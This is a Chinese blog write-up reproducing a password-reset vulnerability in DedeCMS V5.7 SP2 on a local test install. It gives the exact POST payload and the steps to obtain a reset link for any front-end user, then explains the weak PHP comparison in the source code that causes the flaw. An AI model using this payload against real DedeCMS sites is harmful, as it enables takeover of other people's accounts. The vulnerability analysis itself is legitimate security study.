1 复现环境
PHP 5.6
DeDeCMSV5.7SP2 正式版(2018-01-09)
复现过程
照葫芦画瓢,水一篇博客。
先下载好该版本的源码,然后解压,搭建过程具体看这篇文章
搭建好以后,反正我是不能直接访问首页的,我们先进入后台首页,默认用户名admin,密码admin。然后
打开会员功能,不然我们将无法访问member.php
然后访问http://127.0.0.1/DedeCMS/member/index.php
这个看自己目录是多少来定,然后注册一个账号,用户名 密码都是test,然后登陆,访问http://127.0.0.1/DedeCMS/member/resetpassword.php,然后用hackbar,post文档里给的东西dopost=safequestion&safequestion=0.0&safeanswer=&id=4
但是注意这个id=4
,网站目前只有admin和test两个用户,所以如果要改admin的密码就id=1,改test的就id=2,post以后抓包重放得到
访问这个链接,http://127.0.0.1/DedeCMS/member/resetpassword.php?dopost=getpasswd&id=2&key=GgTSGAkP
注意把arp;
删掉,得到http://127.0.0.1/DedeCMS/member/resetpassword.php?dopost=getpasswd&id=2&key=GgTSGAkP
访问即可发现,我们可以更改admin用户的密码了(如果id为1的话)。当然只是复现的话没什么难度,照葫芦画瓢,所以我选择看看源码+结合网上分析文章找找为什么这里会出现漏洞,首先看看member文件夹下resetpassword.php的文件内容,因为payload是
dopost=safequestion&safequestion=0.0&safeanswer=&id=4
所以注意到
else if($dopost == "safequestion")
{$mid = preg_replace("#[^0-9]#", "", $id);$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";$row = $db->GetOne($sql);if(empty($safequestion)) $safequestion = '';if(empty($safeanswer)) $safeanswer = '';if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer){sn($mid, $row['userid'], $row['email'], 'N');exit();}else{ShowMsg("对不起,您的安全问题或答案回答错误","-1");exit();}
这里当dopost==safequestion时进入判断内,然后看
if(empty($safequestion)) $safequestion = '';if(empty($safeanswer)) $safeanswer = '';
通过别的文章了解到,在dedecms的数据库中,如果用户没有设置安全问题则数据库里存储的safequestion默认为"0",safeanswer默认为’null’,如果要让下面这个判断为1,就要让两个比较都成立,两个等号是弱比较
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer){sn($mid, $row['userid'], $row['email'], 'N');exit();}
通过在线运行php的代码我们可以知道
所以我们传入的safequestion为0.0,safeanswer不填,他会帮我们置空,那么两个ture就可以进入下面的sn函数了
此时$mid=我们填的id值,
继续跟进sn函数(在inc下的inc_pwd_functions.php)
function sn($mid,$userid,$mailto, $send = 'Y')
{global $db;$tptim= (60*10);$dtime = time();$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";$row = $db->GetOne($sql);if(!is_array($row)){//发送新邮件;newmail($mid,$userid,$mailto,'INSERT',$send);}//10分钟后可以再次发送新验证码;elseif($dtime - $tptim > $row['mailtime']){newmail($mid,$userid,$mailto,'UPDATE',$send);}//重新发送新的验证码确认邮件;else{return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');}
}
进入newmail函数,继续跟进,我们的$type为UPDATE,直接看UPDATE
elseif($type == 'UPDATE'){$key = md5($randval);$sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime' WHERE `mid` ='$mid';";if($db->ExecuteNoneQuery($sql)){if($send == 'Y'){sendmail($mailto,$mailtitle,$mailbody,$headers);ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php');}elseif($send == 'N'){return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);}}else{ShowMsg('对不起修改失败,请与管理员联系', 'login.php');}}
}
请注意上面的步骤,在上面的sn函数中,我们的$send已经变成N了,所以这里我们就会进入到稍后跳转到修改页,并且返回url,那么我们只需要访问这个url即可成功修改任意用户的密码。
debug
为了看得更清楚,就调试一下,也就是跟着跑一遍没有什么技术含量。先把账号,邮箱,验证码填好,然后hackbar内输入payload,因为他会疯狂的进入各种效验函数,所以我们需要下几个断点
然后打开监听,开始查看。可以看到在经过数据库查询后,因为我们没有设置安全问题和安全答案,他这里自动设置为了0和空
然后
但是在调试过程中,并没有那么顺利,发现进入到sn函数后始终没有进入我想要的循环内,于是再看了一遍漏洞文档,发现只能影响前台用户,也就是当你把id改为1,想修改管理员的密码是不行的。于是再创建一个账号为test2,通过test2账户的修改密码页面配合payload成功修改id=2也就是test用户的密码,可以看到修改任意前台用户的密码成功。
获取返回的链接就能修改密码了。
小结
多少得调一下,只看文档进行照葫芦画瓢的复现对自身并没有任何帮助,熟悉phpstorm配合debug的使用,nice.